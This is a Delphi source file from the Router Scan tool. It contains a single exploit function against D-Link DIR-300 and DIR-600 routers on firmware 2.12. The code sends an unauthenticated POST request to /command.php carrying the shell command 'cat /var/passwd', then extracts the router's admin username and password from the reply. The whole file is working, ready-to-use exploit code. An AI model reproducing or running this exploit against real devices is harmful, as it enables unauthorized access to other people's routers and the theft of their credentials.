// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.s3cur1ty.de/m1adv2013-003

function TRouter.Exploit_DLinkCOMM(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  C: TClientSocket;
  A, Buf: AnsiString;
  Len, TimeoutSec: Integer;
  L: TStringList;

  procedure parseResult(S: String);
  var
    Opn, Esc: Boolean;
    I: Integer;
    LS: String;
  begin
    Opn := False;
    Esc := False;
    for I := 1 to Length(S) do begin
      if not Opn then begin
        if S[I] = '"' then begin
          Opn := True;
          LS := '';
        end;
      end else
        if Esc then begin
          LS := LS + S[I];
          Esc := not Esc;
        end else
          case S[I] of
            '"': begin
              Opn := False;
              L.Add(LS);
            end;
            '\': Esc := True;
            else LS := LS + S[I];
          end;
    end;
  end;
begin
  // Affected:
  // D-Link DIR-300 fw 2.12
  // D-Link DIR-600 fw 2.12
  Result := False;
  if Pos('Linux, HTTP/1.', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;

  C := TClientSocket.Create(nil);
  LatestSock := C;
  C.Address := IPToStr(IP);
  C.Port := Port;
  C.ClientType := ctBlocking;

  try
    C.Open;
  except
    LatestSock := nil;
    C.Free;
    Exit;
  end;
  if C.Active then begin
    A := 'POST /command.php HTTP/1.1'#13#10+
    'Host: 127.0.0.1'#13#10+
    'Content-Type: application/x-www-form-urlencoded'#13#10+
    'Content-Length: 19'#13#10#13#10+
    'cmd=cat /var/passwd';
    C.Socket.SendBuf(A[1], Length(A));
  end;
  A := '';
  TimeoutSec := 8;
  while (Pos(#13#10'0'#13#10, A) = 0)
  and (Pos('smart404', A) = 0)
  and (C.Active)
  and (not Terminated)
  and (TimeoutSec > 0)
  do begin
    Len := C.Socket.ReceiveLength;
    SetLength(Buf, Len);
    C.Socket.ReceiveBuf(Buf[1], Len);
    A := A + Buf;
    Sleep(1000);
    Dec(TimeoutSec);
  end;
  if C.Active then
    C.Close;
  if (Pos('smart404', A) = 0) and (Pos(#13#10'"', A) > 0) then begin
    L := TStringList.Create;
    parseResult(A);
    if L.Count >= 2 then begin
      Result := True;
      AuthUser := L[0];
      AuthPass := L[1];
    end;
    L.Free;
  end;
  LatestSock := nil;
  C.Free;
end;
